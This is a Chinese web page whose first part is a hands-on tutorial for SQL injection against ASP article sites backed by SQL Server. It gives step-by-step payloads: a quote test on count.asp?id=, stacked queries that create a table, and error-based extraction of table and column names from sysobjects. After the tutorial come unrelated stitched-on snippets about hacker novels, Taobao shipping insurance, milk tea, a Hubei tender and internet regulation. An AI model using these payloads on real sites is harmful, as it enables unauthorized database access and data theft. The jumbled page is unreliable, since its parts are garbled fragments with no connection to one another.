大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
本文导读目录: 1、有没有“女主是黑客”很拽的小说?求各位大神推荐,留下书名作者名!谢谢! 2、女主是黑客小说? 3、女主是黑客的小说,男主也要很强。。。 4、女主是黑客的或者是杀手的小说...
在淘宝购物,成为了很多人当下的一个购物趋势,在我们下单的过程中,想必大家也会发现有一个小东西叫做运费险。这个运费险,对于正常人来讲的话是不需要的,当然,除非一些易碎品,这样的东西一般才会为其买运费险。...
每日好文 黑客是怎么修改游戏数据的 寻求黑客帮助(寻求律师帮助) 从零怎么做黑客 黑客如何合法赚钱(高级黑客一般怎么赚钱) 怎么使用低调的黑客 qq强制免验证登录(强制加入qq群软件) 迷你世界怎么...
此刻人们对付奶茶的要求都是较量高的,都喜欢喝到康健鲜味绿色的奶茶,所以奶茶市场成长前景就长短常可观的,每一个品牌的奶茶都是拥有着差异的特色,拥有着差异的吸引力,对付浩瀚的人来说都是没有任何抵挡力的个中...
依据湖北省政府购置预算执行方案鄂采计【2019】-04675号函的规定,湖北成套设备招标会股权有限责任公司(下称“采购代理组织”)受湖北体彩管理处(下称“招标人”)的授权委托,对湖北体彩管理处体育彩票...
9月11日消息,据网信江苏微信公众号8月份,江苏省网信系统按照国家网信办统一部署,统筹组织开展暑期“清朗行动”、网络直播行业、“自媒体”基础管理、商业网站平台账号等专项整治,强化多部门协作监管,集...